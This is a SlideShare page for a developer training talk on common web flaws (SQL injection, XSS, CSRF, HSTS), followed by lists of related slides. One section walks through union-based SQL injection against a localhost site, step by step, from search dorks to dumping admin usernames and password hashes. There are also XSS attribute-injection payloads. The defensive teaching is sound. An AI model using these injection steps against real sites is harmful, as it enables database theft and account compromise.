SlideShare a Scribd company logo
Widespread security flaws in web
application development
Martin Ahchiev
Content is available under a Creative Commons 3.0 License unless otherwise noted.
2Widespread security flaws in web application development
FOCUS ON COMMON SECURITY
CHALLENGES
YOU ALREADY NEED TO KNOW
WEB PROGRAMMING
3Widespread security flaws in web application development
FACT:
THE VAST
MAJORITY OF WEB
APPLICATION HAVE
SECURITY VULNERABILITIES!
MOST DEVELOPERS NOT AWARE OF THE ISSUES
4Widespread security flaws in web application development
5Widespread security flaws in web application development
Attacker can access unauthorized data!
They use your website to attack your
users
We will cover many attacks later in this
demo
Most Sites Not Secure
6Widespread security flaws in web application development
 The WEB wasn’t designed to be secure!
 Built for static, read-only pages
 Almost no intrinsic security
 A few security features were “bolted on”
later
 Security and defensive development
style
HTTP History
7Widespread security flaws in web application development
DATABASE
BROWSER
FIREWALL
WEB SERVER
WEB SERVICE
ACCESS CONTROLAUTH SERVICE
XSS
CSRF
PACKET
SNIFFING
FORGED
TOKEN DIRECT
OBJECT
REFERENCE
SQL
INJECTION
DIRECTORY
TRAVERSAL
XML
INJECTION
8Widespread security flaws in web application development
OWASP - The Ten Most Critical Web
Application Security Risks
SANS Institute - CWE/SANS TOP 25 Most
Dangerous Software Errors
Organizations that contributed vulnerability
statistics
 Aspect Security
 MITRE
 Softtek
 White Hat
Ranking of Web Security Vulnerabilities
9
In next 10 minutes…
Widespread security flaws in web application development
SQL Injection Explained
Hands-On Example
The Basic Fixes
More Resources
10
OWASP Top 10 - 2013
Widespread security flaws in web application development
INJECTION ATTACKS ARE A SERIOUS PROBLEM
“SQL Injection is an old problem –
so I don’t have to worry about it “
11
OWASP Top 10 - 2013
Widespread security flaws in web application development
12
Typical Scenario
Widespread security flaws in web application development
Our Users Will
Enter Their Name
Here
Bob
13
Typical Scenario
Widespread security flaws in web application development
Bob
WEB SERVER DATABASE
private void queryDB(String u_name) {
string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”;
doQuery(sql);
}
In Application Code
Bob
Bob
14
Typical Scenario
Widespread security flaws in web application development
DATABASE
SELECT * FROM users WHERE name = ‘Bob’
JUST RETURNS
ROWS FOR Bob
15
Typical Scenario
Widespread security flaws in web application development
THE APPLICATION SEEMS TO WORK
BUT IT’S NOT SECURE
16
SQL Injection Attack
Widespread security flaws in web application development
Our Users Will
Enter Their Name
Here
Bob’ or ‘1’=‘1’
17
SQL Injection Attack
Widespread security flaws in web application development
ob’ or ‘1’=‘1’
WEB SERVER DATABASE
private void queryDB(String u_name) {
string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”;
doQuery(sql);
}
In Application Code
Bob’ or ‘1’=‘1’
Bob’ or ‘1’=‘1’
18
SQL Injection Attack
Widespread security flaws in web application development
DATABASE
SELECT * FROM users WHERE name = ‘Bob’ or ‘1’=‘1’
JUST RETURNS ROWS
FOR Bob OR WHENEVER
ONE EQUALS ONE
(ALL ROWS)
19
Hands-On Example: Step 1
Widespread security flaws in web application development
HOW ATTACKERS SEARCH FOR TARGETS
 DORKS
 EXAMPLES:
1. "details.php?id=xxx"
2. "gallery.php?id="
3. inurl:"products.php?prodID="
20
Hands-On Example: Step 2
Widespread security flaws in web application development
HOW ATTAKERS TEST TARGETS FOR
VULNERABILITIES
http://www.localhost:999/newsdetails.aspx?id=51
21
Hands-On Example: Step 3
Widespread security flaws in web application development
HOW ATTACKERS TEST TARGETS FOR
VULNERABILITIES
Let’s add an single quote “ ‘ ”at the end of the URL
http://www.localhost:999/newsdetails.aspx?id=51‘
SQL Code:
SELECT * FROM NEWS WHERE id = 5 '
22
Hands-On Example: Step 4
Widespread security flaws in web application development
Finding the number of columns
 NoError/Error statements
 "order by X--" where "X" is a random integer number
 EXAMPLE:
http://www.localhost:999/newsdetail.php?id=51 order by 12--
23
Hands-On Example: Step 4
Widespread security flaws in web application development
How about we go down a bit to "order by 5--"
http://www.localhost:999/newsdetail.php?id=51 order by 5--
http://www.localhost:999/newsdetail.php?id=51 order by 4--
24
Hands-On Example: Step 5
Widespread security flaws in web application development
How attackers find Vulnerable Columns
 UNION SELECT command
 EXAMPLE:
SELECT * FROM users UNION SELECT * FROM admin
http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
25
Hands-On Example: Step 5
Widespread security flaws in web application development
How attackers find Vulnerable Columns
 INVALIDATE THE FIRST QUERY
 EXAMPLES:
http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
1. http://www.localhost:999/newsdetail.php?id=51+and+0+union+select+1,2,3
2. http://www.localhost:999/newsdetail.php?id=51+and+false+union+select+
1,2,3
3. http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
4. http://www.localhost:999/newsdetail.php?id=null+union+select+1,2,3
5. http://www.localhost:999/newsdetail.php?id=51+&&+0+union+select+1,2,3
26
Hands-On Example: Step 5
Widespread security flaws in web application development
How attackers find Vulnerable Columns
EXAMPLES:
http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
27
Hands-On Example: Step 6
Widespread security flaws in web application development
Obtaining the SQL Version
 @@version
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,@@version,3
 convert(@@version using latin1)
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,convert(@@version using latin1),3
 unhex(hex(@@version))
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,unhex(hex(@@version)),3
28
Hands-On Example: Step 6
Widespread security flaws in web application development
Obtaining the SQL Version
database() - find the current database
user() - find the user information
@@hostname - current hosting info
@@datadir - directory of the data of the website
29
Hands-On Example: Step 7
Widespread security flaws in web application development
Obtaining the Table Names
 information_schema.tables
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,table_name,3+from+information_schema.tab
 group_concat()
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,group_concat(table_name),3 from
information_schema.tables
30
Hands-On Example: Step 8
Widespread security flaws in web application development
Obtaining the Column Names form
Table Names
 informaiton_schema.columns instead of
informtion_schema.tables
 column_name instead of table_name
 +from+information_schema.columns where
table_name=TableNameHEX - tblAdmin
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,group_concat(column_name),3 from
information_schema.columns where table_name=0x74626c61646d696e--
31
Hands-On Example: Step 9
Widespread security flaws in web application development
Getting Data from Columns
 concat() function
 Separator = 0x3a (a hex for a colon " : ")
 table name = tbladmin
 http://www.md5decrypter.co.uk
http://www.localhost:999/newsdetail.php?id=-51
+union+select+1,concat(username,0x3a,password),3+from+tblAd
min
32
SQL Injection
Widespread security flaws in web application development
 SQL INJECTION = HUGE RISK
 CAN COMPROMISE ALL YOUR DATA
 SINGLE INJECTION FLAW CAN LEAD
TO COMPLETE SERVER TAKEOVER!
33
Defense Against SQL Injection
Widespread security flaws in web application development
HOW CAN WE DEFEND OURSELVES?
 Prepared Statements
 Stored Procedures
 Escaping All User Supplied Input
 Least Privilege
 White List Input Validation
34
Parameterized Queries
Widespread security flaws in web application development
Prepared Statements
String custname = request.getParameter("customerName");
// This should REALLY be validated
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
Data from user
35
Parameterized Queries
Widespread security flaws in web application development
Stored Procedures
String custname = request.getParameter("customerName");
// This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) { // … logging and error handling }
36
SQL Injection Prevention
Widespread security flaws in web application development
 Least Privilege - Always minimize database
privileges to reduce the impact of a flaw
 White List Input Validation
"(555)123-1234",
"555.123.1234", and
"555";DROP TABLE USER;--123.1234“
all convert to 5551231234
37
SQL Injection Prevention
Widespread security flaws in web application development
NOW YOU KNOW THE BASICS
BUT YOU NEED TO KNOW MOREPrepared
Statements
Stored
Procedure
Escaping
38
Cross - Site Scripting (XSS)
Widespread security flaws in web application development
XSS Explained
Three Examples of XSS
The Basic Fixes
More Resources
39
OWASP Top 10 - 2013
Widespread security flaws in web application development
40
EXAMPLE #1
Widespread security flaws in web application development
TARGET OF XSS
A BRIEF COMPARISON
OF SQL INJECTION
AND XSS
THE TARGET OF SQL INJECTION IS
THE DATABASE SERVER
THE TARGET OF XSS ARE
OTHER USERS
41Widespread security flaws in web application development
GOAL: DISTRIBUTES MALICIOUS SCRIPTS
XSS DEFINED:
XSS IS SCRIPT INJECTION
42Widespread security flaws in web application development
Attacker VideoTutorialsSite
Cross-Site Scripting
43Widespread security flaws in web application development
VideoTutorialsSite
44
EXAMPLE #2
Widespread security flaws in web application development
VideoTutorialsSite
Description
BROWSER
XSS IN MORE DETAIL…
45
EXAMPLE #2
Widespread security flaws in web application development
XSS IN MORE DETAIL…
<HTML>
<BODY>
<H1>Upload Video</H1>
<H2>Description</H2>
</BODY>
</HTML>
Static Content
User Supplied
Content
Video Training Description
46Widespread security flaws in web application development
VideoTutorialsSite
47
EXAMPLE #2
Widespread security flaws in web application development
Static Content
User Supplied
Content Video Training Description
48
Normal Execution Flow
Widespread security flaws in web application development
THE APPLICATION SEEMS TO WORK
BUT IT’S NOT SECURE
49
EXAMPLE #2
Widespread security flaws in web application development
VideoTutorialsSite
Video Training Description
<script>/*Evil code*/</script>
50
EXAMPLE #2
Widespread security flaws in web application development
XSS IN MORE DETAIL…
<HTML>
<BODY>
<H1>Upload Video</H1>
<H2>Description</H2>
</BODY>
</HTML>
Static Content
User Supplied
Content
Video Training Description
<script>/*Evil code*/</script>
51Widespread security flaws in web application development
VideoTutorialsSite
EXAMPLE #2
52
EXAMPLE #2
Widespread security flaws in web application development
Video Training Description
<script>/*Evil code*/</script>
Attackers Can Use
JavaScript to ….
 Steal your session ID
 Rewrite any part of the
HTML page
 Overlay the Login
Screen with their own,
to steal the username
and password
53Widespread security flaws in web application development
CAN WE BLOCK THE
<script> TAG
AND BE SAFE?
NO
54Widespread security flaws in web application development
EXAMPLE #3
XSS without <script> tag
55
EXAMPLE #3
Widespread security flaws in web application development
RESULTING CODE SNIPPET
Enter your name:
<input type=“text” id=“uname”
value=“”
/>
GUEST BOOK
Alice
“Alice”
56Widespread security flaws in web application development
NOW CONSIDER THIS INPUT
Alice” onmouseover=“/*evil_action*/
EXAMPLE #3
57
EXAMPLE #3
Widespread security flaws in web application development
RESULTING CODE SNIPPET
Enter your name:
<input type=“text” id=“uname”
value=“”
/>
GUEST BOOK
Alice” onmouseover=“/*evil*/
“Alice” onmouseover=“/*evil*/“
58Widespread security flaws in web application development
HOW DO WE STOP XSS?
59
XSS Fixes
Widespread security flaws in web application development
 Developers fails to properly validate and
encode the input data
 XSS can only be prevented by secure
coding practices
 Encoding must be contextual!
60
XSS Fixes
Widespread security flaws in web application development
 PARTIAL LISTING
OF CONTEXTS
 EACH CONTEXT
MUST BE ENCODED
DIFFERENTLY
<HTML>
<HEAD>
</HEAD>
</HTML>
<STYLE>
Property: …
</STYLE>
<SCRIPT>
alert(‘…’)
</SCRIPT>
<BODY>
…
</BODY>
<img src=“…”/>
<div attr=“…”></div>
61
More Resources
Widespread security flaws in web application development
NOW YOU KNOW THE BASICS
BUT YOU NEED TO KNOW MORE
7 XSS
PREVENTION
RULES
62
More Resources
Widespread security flaws in web application development
Multiple
Contextual
Encodings
63
CSRF
Widespread security flaws in web application development
 sea surf
 one-click attack
 session riding
Cross Site Request Forgery abbreviated as
CSRF and XSRF is also known as:
64
OWASP Top 10 - 2013
Widespread security flaws in web application development
65Widespread security flaws in web application development
Typical CSRF Scenario
e-Banking
Attacker’s website
Auth
Request
Site loaded
Malicious
link
Malicious
Request embedded
Authenticated request
66Widespread security flaws in web application development
CSRF Attack in more detail..
e-Banking
Authenticated request to transfer money online
Mr. Victim
HTTP POST https://mybank.com/transfer
Auth-cookie: 5234d574s4
TargetAccountNumber: 53645634635785
Amount:2000.00
Attacker forges request
67
CSRF Prevention
Widespread security flaws in web application development
 Validating a secret token
Include a secret token with each request and to validate
that the received token is correctly bound to the user's
session.
 Validating the HTTP Referer header
Accept requests only from trusted sources by verifying
the referer header.
68
More resources
Widespread security flaws in web application development
69Widespread security flaws in web application development
HTTP Strict
Transport Security
HSTS
70Widespread security flaws in web application development
Common attack vectors
SSL
downgrading
SSL
Stripping
Use of fake
of SSL certs
Attacks
71Widespread security flaws in web application development
Problem:
Sensitive data
transmitted in
the
clear…
Bob
**********
72Widespread security flaws in web application development
Problem:
Sensitive data
transmitted in
the
clear…
73Widespread security flaws in web application development
EXAMPLE #1
HTTPS Only
During
Login
74Widespread security flaws in web application development
Example #1
Corporate eMail
Credentials
75Widespread security flaws in web application development
Example #1
Corporate eMail
List of e-mails
Session Cookie
List of e-mails
Session Cookie
Session Hijacking
76Widespread security flaws in web application development
Using HTTPS, the attacker could see the
password
But they were able to steal the session cookie
and see all transmitted data
Solution: Move entire site to HTTPS
HTTPS ensures authenticity, and prevents
spaying
HTTPS
There Are Still Several Risks…
77Widespread security flaws in web application development
EXAMPLE #2
MAN-In-the-Middle
78Widespread security flaws in web application development
Example #2
Corporate eMail
Credentials
http://www.corp-email.com
302
redirect
https://www.corp-email.com
Credentials
The unsecured HTTP Request is vulnerable to attack
79Widespread security flaws in web application development
Example #2
Corporate eMail
Man-In-The-Middle Attack
80Widespread security flaws in web application development
Example #2
SOLUTION:
STRICT TRANSPORT SECURITY
HTTP HEADER
81Widespread security flaws in web application development
HSTS
 The header is sent over secure connection
 HSTS converts HTTP links to HTTPS in browser
 Conversion happens entirely in the browser
 The security flag also prevents accepting untrusted
connections
82Widespread security flaws in web application development
83Widespread security flaws in web application development
84Widespread security flaws in web application development
HSTS
The HSTS is language independent
Only requires to put the header in any
response
The HSTS flag will ONLY be honored if sent
over HTTPS!
85Widespread security flaws in web application development
Browsers
86
More resources
Widespread security flaws in web application development
87Widespread security flaws in web application development
This demo is only
a starting point…
Conclusions &
Recommendations
88Widespread security flaws in web application development
Content is available under a Creative Commons 3.0 License unless otherwise noted.
martin@ahchiev.com

More Related Content

What's hot

OWASP API Security Top 10 Examples
OWASP API Security Top 10 ExamplesOWASP API Security Top 10 Examples
OWASP API Security Top 10 Examples
42Crunch
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
Moataz Kamel
 
Owasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesOwasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
Carol McDonald
 
Patch Tuesday Analysis - December 2015
Patch Tuesday Analysis - December 2015Patch Tuesday Analysis - December 2015
Patch Tuesday Analysis - December 2015
Ivanti
 
Analysis of web application penetration testing
Analysis of web application penetration testingAnalysis of web application penetration testing
Analysis of web application penetration testing
Engr Md Yusuf Miah
 
Top 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilitiesTop 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilities
Terrance Medina
 
The bare minimum that you should know about web application security testing ...
The bare minimum that you should know about web application security testing ...The bare minimum that you should know about web application security testing ...
The bare minimum that you should know about web application security testing ...
Ken DeSouza
 
Web Application Penetration Testing Introduction
Web Application Penetration Testing IntroductionWeb Application Penetration Testing Introduction
Web Application Penetration Testing Introduction
gbud7
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security RisksOWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
Andre Van Klaveren
 
Abusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox AddonsAbusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox Addons
Ajin Abraham
 
Web Hacking
Web HackingWeb Hacking
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
Zakaria SMAHI
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
Anurag Srivastava
 
Secure coding-guidelines
Secure coding-guidelinesSecure coding-guidelines
Secure coding-guidelines
Trupti Shiralkar, CISSP
 
OWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementOWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session management
Nikola Milosevic
 
Bank One App Sec Training
Bank One App Sec TrainingBank One App Sec Training
Bank One App Sec Training
Mike Spaulding
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
Mallikarjun Reddy
 
OWASP API Security TOP 10 - 2019
OWASP API Security TOP 10 - 2019OWASP API Security TOP 10 - 2019
OWASP API Security TOP 10 - 2019
Miguel Angel Falcón Muñoz
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec PrimerOISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
ThreatReel Podcast
 

What's hot (20)

OWASP API Security Top 10 Examples
OWASP API Security Top 10 ExamplesOWASP API Security Top 10 Examples
OWASP API Security Top 10 Examples
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
Owasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesOwasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root Causes
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Patch Tuesday Analysis - December 2015
Patch Tuesday Analysis - December 2015Patch Tuesday Analysis - December 2015
Patch Tuesday Analysis - December 2015
 
Analysis of web application penetration testing
Analysis of web application penetration testingAnalysis of web application penetration testing
Analysis of web application penetration testing
 
Top 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilitiesTop 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilities
 
The bare minimum that you should know about web application security testing ...
The bare minimum that you should know about web application security testing ...The bare minimum that you should know about web application security testing ...
The bare minimum that you should know about web application security testing ...
 
Web Application Penetration Testing Introduction
Web Application Penetration Testing IntroductionWeb Application Penetration Testing Introduction
Web Application Penetration Testing Introduction
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security RisksOWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
 
Abusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox AddonsAbusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox Addons
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Secure coding-guidelines
Secure coding-guidelinesSecure coding-guidelines
Secure coding-guidelines
 
OWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementOWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session management
 
Bank One App Sec Training
Bank One App Sec TrainingBank One App Sec Training
Bank One App Sec Training
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
 
OWASP API Security TOP 10 - 2019
OWASP API Security TOP 10 - 2019OWASP API Security TOP 10 - 2019
OWASP API Security TOP 10 - 2019
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec PrimerOISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
 

Similar to Widespread security flaws in web application development 2015

Get Ready for Web Application Security Testing
Get Ready for Web Application Security TestingGet Ready for Web Application Security Testing
Get Ready for Web Application Security Testing
Alan Kan
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks
Ahmed Sherif
 
Application Security 101 (OWASP DC)
Application Security 101 (OWASP DC)Application Security 101 (OWASP DC)
Application Security 101 (OWASP DC)
mikemcbryde
 
How Does a Data Breach Happen?
How Does a Data Breach Happen? How Does a Data Breach Happen?
How Does a Data Breach Happen?
Claranet UK
 
Web Insecurity And Browser Exploitation
Web Insecurity And Browser ExploitationWeb Insecurity And Browser Exploitation
Web Insecurity And Browser Exploitation
Michele Orru'
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
Caleb Sima
 
Developing Secure Applications and Defending Against Common Attacks
Developing Secure Applications and Defending Against Common AttacksDeveloping Secure Applications and Defending Against Common Attacks
Developing Secure Applications and Defending Against Common Attacks
PayPalX Developer Network
 
Drupal Security Seminar
Drupal Security SeminarDrupal Security Seminar
Drupal Security Seminar
Calibrate
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
Rana Khalil
 
Web security 2010
Web security 2010Web security 2010
Web security 2010
Alok Babu
 
Cyber Security Workshop @SPIT- 3rd October 2015
Cyber Security Workshop @SPIT- 3rd October 2015Cyber Security Workshop @SPIT- 3rd October 2015
Cyber Security Workshop @SPIT- 3rd October 2015
Nilesh Sapariya
 
Uncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a HackerUncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a Hacker
IBM Security
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
Ajith Kp
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
Edouard de Lansalut
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
beched
 
[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev
OWASP Russia
 
IBM AppScan - the total software security solution
IBM AppScan - the total software security solutionIBM AppScan - the total software security solution
IBM AppScan - the total software security solution
hearme limited company
 
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
DefCamp
 
Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web Programming
Akash Mahajan
 

Similar to Widespread security flaws in web application development 2015 (20)

Get Ready for Web Application Security Testing
Get Ready for Web Application Security TestingGet Ready for Web Application Security Testing
Get Ready for Web Application Security Testing
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks
 
Application Security 101 (OWASP DC)
Application Security 101 (OWASP DC)Application Security 101 (OWASP DC)
Application Security 101 (OWASP DC)
 
How Does a Data Breach Happen?
How Does a Data Breach Happen? How Does a Data Breach Happen?
How Does a Data Breach Happen?
 
Web Insecurity And Browser Exploitation
Web Insecurity And Browser ExploitationWeb Insecurity And Browser Exploitation
Web Insecurity And Browser Exploitation
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Developing Secure Applications and Defending Against Common Attacks
Developing Secure Applications and Defending Against Common AttacksDeveloping Secure Applications and Defending Against Common Attacks
Developing Secure Applications and Defending Against Common Attacks
 
Drupal Security Seminar
Drupal Security SeminarDrupal Security Seminar
Drupal Security Seminar
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Web security 2010
Web security 2010Web security 2010
Web security 2010
 
Cyber Security Workshop @SPIT- 3rd October 2015
Cyber Security Workshop @SPIT- 3rd October 2015Cyber Security Workshop @SPIT- 3rd October 2015
Cyber Security Workshop @SPIT- 3rd October 2015
 
Uncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a HackerUncover What's Inside the Mind of a Hacker
Uncover What's Inside the Mind of a Hacker
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev
 
IBM AppScan - the total software security solution
IBM AppScan - the total software security solutionIBM AppScan - the total software security solution
IBM AppScan - the total software security solution
 
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
 
Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web Programming
 

Recently uploaded

2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
Łukasz Chruściel
 
Unveiling the Advantages of Agile Software Development.pdf
Unveiling the Advantages of Agile Software Development.pdfUnveiling the Advantages of Agile Software Development.pdf
Unveiling the Advantages of Agile Software Development.pdf
brainerhub1
 
openEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain SecurityopenEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain Security
Shane Coughlan
 
Oracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptxOracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptx
Remote DBA Services
 
Atelier - Innover avec l’IA Générative et les graphes de connaissances
Atelier - Innover avec l’IA Générative et les graphes de connaissancesAtelier - Innover avec l’IA Générative et les graphes de connaissances
Atelier - Innover avec l’IA Générative et les graphes de connaissances
Neo4j
 
Graspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code AnalysisGraspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code Analysis
Aftab Hussain
 
Lecture 2 - software testing SE 412.pptx
Lecture 2 - software testing SE 412.pptxLecture 2 - software testing SE 412.pptx
Lecture 2 - software testing SE 412.pptx
TaghreedAltamimi
 
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdfVitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke
 
E-commerce Development Services- Hornet Dynamics
E-commerce Development Services- Hornet DynamicsE-commerce Development Services- Hornet Dynamics
E-commerce Development Services- Hornet Dynamics
Hornet Dynamics
 
Odoo ERP Vs. Traditional ERP Systems – A Comparative Analysis
Odoo ERP Vs. Traditional ERP Systems – A Comparative AnalysisOdoo ERP Vs. Traditional ERP Systems – A Comparative Analysis
Odoo ERP Vs. Traditional ERP Systems – A Comparative Analysis
Envertis Software Solutions
 
Measures in SQL (SIGMOD 2024, Santiago, Chile)
Measures in SQL (SIGMOD 2024, Santiago, Chile)Measures in SQL (SIGMOD 2024, Santiago, Chile)
Measures in SQL (SIGMOD 2024, Santiago, Chile)
Julian Hyde
 
Using Xen Hypervisor for Functional Safety
Using Xen Hypervisor for Functional SafetyUsing Xen Hypervisor for Functional Safety
Using Xen Hypervisor for Functional Safety
Ayan Halder
 
Mobile App Development Company In Noida | Drona Infotech
Mobile App Development Company In Noida | Drona InfotechMobile App Development Company In Noida | Drona Infotech
Mobile App Development Company In Noida | Drona Infotech
Drona Infotech
 
Artificia Intellicence and XPath Extension Functions
Artificia Intellicence and XPath Extension FunctionsArtificia Intellicence and XPath Extension Functions
Artificia Intellicence and XPath Extension Functions
Octavian Nadolu
 
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, FactsALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
Green Software Development
 
